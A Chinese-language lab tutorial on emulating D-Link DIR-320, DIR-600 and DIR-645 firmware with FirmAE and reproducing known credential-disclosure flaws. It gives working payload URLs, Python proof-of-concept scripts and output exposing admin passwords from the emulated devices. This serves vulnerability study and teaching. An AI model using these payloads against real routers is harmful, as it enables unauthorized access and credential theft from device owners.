在学习路由器漏洞与复现的过程中,购买太多硬件设备学习研究是一个成本较高的选择,那么可以选择利用现有的 FirmAE 工具,自动化的完成固件模拟工作,直接进行漏洞复现
一、FirmAE
来自 FirmAE 的论文:our goal is not to build an environment identical to the physical device, but to create an environment conducive to the dynamic analysis
FirmAE 的目标是创造一个可以供用户动态调试分析的环境,而不是复现和硬件一模一样的环境
FirmAE 安装配置如下:选用 Ubuntu18.04;若 binwalk 等的软件有问题的解决方案
FirmAE:
git clone --recursive https://github.com/pr0v3rbs/FirmAE
./download.sh
./install.sh
non-standard SquashFS images:(DLink固件和SquashFS格式,很多环境不配置这个,binwalk无法正确解包)
https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md
# Install sasquatch to extract non-standard SquashFS images
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ (cd sasquatch && ./build.sh)
若报错的话:
/usr/bin/ld: unsquash-1.o:/home/kali/Desktop/IoT/sasquatch-master/squashfs4.3/squashfs-tools/error.h:34: multiple definition of `verbose'; unsquashfs.o:/home/kali/Desktop/IoT/sasquatch-master/squashfs4.3/squashfs-tools/error.h:34: first defined here
verbose is extern in sasquatch/squashfs4.3/squashfs-tools/error.h
add "int verbose;" in unsquashfs.c
运行该命令:
sudo CFLAGS=-fcommon ./build.sh
binwalk:
sudo apt-get install build-essential autoconf git python-lzma python-crypto libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
sudo pip install pyqtgraph capstone
解决 No module named pkg_resources 的问题
sudo apt-get install --reinstall python-pkg-resources
解决 binwalk 缺少 sasquatch 的问题
https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md
# Install sasquatch to extract non-standard SquashFS images
$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
$ git clone https://github.com/devttys0/sasquatch
$ (cd sasquatch && sudo CFLAGS=-fcommon ./build.sh)
进入 binwalk 目录
sudo python setup.py build
sudo python setup.py install
建议在线安装,尝试过码云离线安装有若干问题
二、固件下载与固件提取
链接如下:
固件下载地址
已经复现的固件列表
https://ftp.dlink.ru/pub/Router/DIR-320/Firmware/old/
DIR-320A1_FW121WWb03.bin
DIR-600
FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin
DIR-645
DIR645A1_FW102B08.bin
固件提取:
binwalk -Me *.bin
对文件夹重新打包成zip,从linux下转到windows下源码审计
zip -r -q -o pack.zip test/
上面命令将目录 test/ 下的所有文件,打包成一个压缩文件 pack.zip
三、漏洞复现
1、DIR320
https://ftp.dlink.ru/pub/Router/DIR-320/Firmware/old/
DIR-320A1_FW121WWb03.bin
binwalk -Me DIR-320A1_FW121WWb03.bin
zip -r -q -o pack.zip squashfs-root
ubuntu@ubuntu:~/Desktop/DIR600/FirmAE$ sudo ./init.sh
[sudo] password for ubuntu:
+ sudo service postgresql restart
+ echo 'Waiting for DB to start...'
Waiting for DB to start...
+ sleep 5
sudo ./run.sh -r dir320 ./firmwares/DIR-320A1_FW121WWb03.bin
./firmwares/DIR-320A1_FW121WWb03.bin emulation start!!!
extract done!!!
get architecture done!!!
mke2fs 1.44.1 (24-Mar-2018)
e2fsck 1.44.1 (24-Mar-2018)
infer network start!!!
[IID] 5
[MODE] run
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
Creating TAP device tap5_0...
Set 'tap5_0' persistent and owned by uid 0
Initializing VLAN...
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.1 true true 5.129526057 6.385871460
payload为:
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
漏洞成因:
www目录下: /model/__show_info.php 文件
<?
if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd")
{
echo "<title>404 Not Found</title>\n";
echo "<h1>404 Not Found</h1>\n";
}
else
{
if($REQUIRE_FILE!="")
{
require($LOCALE_PATH."/".$REQUIRE_FILE);
}
else
{
echo $m_context;
echo $m_context2;//jana added
if($m_context_next!="")
{
echo $m_context_next;
}
echo "
\n";
if($USE_BUTTON=="1")
{echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>\n"; }
}
}
?>
2、DIR600
漏洞来自:CVE-2017-12943; 型号:D-Link DIR600; 版本:B2 v2.01
ubuntu@ubuntu:~/Desktop/DIR600$ sudo binwalk -Me FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin
[sudo] password for ubuntu:
Scan Time: 2021-12-23 06:28:36
Target File: /home/ubuntu/Desktop/DIR600/FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin
MD5 Checksum: 55cfbd7c406a03418b1cefc0f58d0b43
Signatures: 410
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
48 0x30 Unix path: /dev/mtdblock/2
96 0x60 uImage header, header size: 64 bytes, header CRC: 0xF1DE5BC1, created: 2009-12-22 21:05:38, image size: 892575 bytes, Data Address: 0x80000000, Entry Point: 0x802C1000, data CRC: 0xA05ADFB0, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
160 0xA0 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3006680 bytes
917600 0xE0060 PackImg section delimiter tag, little endian size: 14689280 bytes; big endian size: 2416640 bytes
917632 0xE0080 Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 2412645 bytes, 1067 inodes, blocksize: 65536 bytes, created: 2009-12-22 21:06:12
Scan Time: 2021-12-23 06:28:37
Target File: /home/ubuntu/Desktop/DIR600/_FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin.extracted/A0
MD5 Checksum: 4b84ce5058e72a61f12c2a496350a024
Signatures: 410
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
2376512 0x244340 Linux kernel version 2.6.21
2411952 0x24CDB0 Unix path: /usr/gnemul/riscos/
2416568 0x24DFB8 Unix path: /usr/lib/libc.so.1
2421132 0x24F18C Unix path: /dev/vc/0
2457504 0x257FA0 CRC32 polynomial table, little endian
2469932 0x25B02C Unix path: /dev/vc/0
2549671 0x26E7A7 Neighborly text, "neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)"
2785840 0x2A8230 Certificate in DER format (x509 v3), header length: 4, sequence length: 10880
ubuntu@ubuntu:~/Desktop/DIR600/_FIRMWARE_DIR600B1_B2_v2.01-tomizone-1.1.0.bin.extracted/squashfs-root$ ls -al
total 60
drwxr-xr-x 15 root root 4096 Dec 22 2009 .
drwxr-xr-x 3 root root 4096 Dec 23 06:28 ..
drwxr-xr-x 2 root root 4096 Dec 22 2009 bin
drwxr-xr-x 10 root root 4096 Dec 22 2009 dev
drwxr-xr-x 8 root root 4096 Dec 22 2009 etc
drwxr-xr-x 2 root root 4096 Dec 22 2009 home
drwxr-xr-x 4 root root 4096 Dec 22 2009 htdocs
drwxr-xr-x 4 root root 4096 Dec 22 2009 lib
drwxr-xr-x 2 root root 4096 Dec 22 2009 mnt
drwxr-xr-x 2 root root 4096 Dec 22 2009 proc
drwxr-xr-x 2 root root 4096 Dec 22 2009 sbin
drwxr-xr-x 2 root root 4096 Dec 22 2009 sys
lrwxrwxrwx 1 root root 8 Dec 22 2009 tmp -> /var/tmp
drwxr-xr-x 5 root root 4096 Dec 22 2009 usr
drwxr-xr-x 2 root root 4096 Dec 22 2009 var
payload为:
localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
或者:
import requests
url = "http://192.168.0.1/model/__show_info.php?REQUIRE_FILE=/etc/templates/httpd/httpasswd.php"
r = requests.get(url)
print (r.text)
print (r.json)
漏洞成因:
\DIR600\pack\squashfs-root\www\model 下找到 _show_info_php 页面
<body onload="init();" <?=$G_BODY_ATTR?>>
<form name="frm" id="frm">
<?require("/www/model/__banner.php");?>
<table <?=$G_MAIN_TABLE_ATTR?>>
<tr valign=middle align=center>
<td>
<!-- ________________________________ Main Content Start ______________________________ -->
<table width=90%>
<tr>
<td id="box_header">
<h1><?=$m_context_title?></h1>
<center>
<?
if($REQUIRE_FILE!="")
{
require($LOCALE_PATH."/".$REQUIRE_FILE);
}
else
{
echo $m_context;
echo $m_context2;//jana added
if($m_context_next!="")
{
echo $m_context_next;
}
echo "
\n";
if($USE_BUTTON=="1")
{echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>\n"; }
}
?>
</center>
</td>
</tr>
</table>
<!-- ________________________________ Main Content End _______________________________ -->
</td>
</tr>
</table>
<?require("/www/model/__tailer.php");?>
</form>
</body>
</html>
注意第 17 行,存在一个路径拼接的问题
其中 require 是引入文件的函数,直接访问当前页面,前面的变量 $LOCATE_PATH 在当前页面没有引入,所以默认是空
在 /etc/templates/httpd 下面有一个 httpasswd.php 输出的是用户名密码
<?
/* vi: set sw=4 ts=4: */
for ("/sys/user")
{
if (query("name")!="")
{
echo query("name").":".query("password")."\n";
}
}
?>
当我们构建一个绝对路径到这里,直接就可以拿用户名和密码
那么如果我们直接给 REQUIRE_FILE 赋值一个路径,这时候就变成了
require(/etc/templates/httpd/httpasswd.php)
当我们在url中给$REQUIRE_FILE赋值为“/etc/templates/httpd/httpasswd.php”的时候页面返回了我们想要的数据用户名和密码
3、DIR645
cd ~/Desktop/DIR600/FirmAE/
sudo ./run.sh -r dir645 ./firmwares/DIR645A1_FW102B08.bin
ubuntu@ubuntu:~/Desktop/DIR600/FirmAE$ sudo ./run.sh -r dir645 ./firmwares/DIR645A1_FW102B08.bin
./firmwares/DIR645A1_FW102B08.bin emulation start!!!
extract done!!!
get architecture done!!!
mke2fs 1.44.1 (24-Mar-2018)
e2fsck 1.44.1 (24-Mar-2018)
infer network start!!!
[IID] 4
[MODE] run
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
Creating TAP device tap4_0...
Set 'tap4_0' persistent and owned by uid 0
Initializing VLAN...
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.1 true true 21.475688881 48.019731694
payload为:
http://192.168.0.1/getcfg.php
post:SERVICES=DEVICE.ACCOUNT
poc为:
import requests
url = "http://192.168.0.1/getcfg.php"
#payload = "SERVICES=DEVICE.ACCOUNT"
payload = {"SERVICES": "DEVICE.ACCOUNT"}
data = payload
#data = data.encode("utf-8")
r = requests.post(url, data)
print (r)
print (r.text)
ubuntu@ubuntu:~/Desktop$ python poc.py 192.168.0.1
<Response [200]>
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<gw_name>DIR-645</gw_name>
<account>
<seqno>2</seqno>
<max>2</max>
<count>2</count>
<entry>
<uid>USR-</uid>
<name>admin</name>
<usrid></usrid>
<password>adminhello</password>
<group>0</group>
<description></description>
</entry>
<entry>
<uid>USR-1</uid>
<name>user</name>
<usrid></usrid>
<password>userhello</password>
<group>101</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy></dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
</postxml>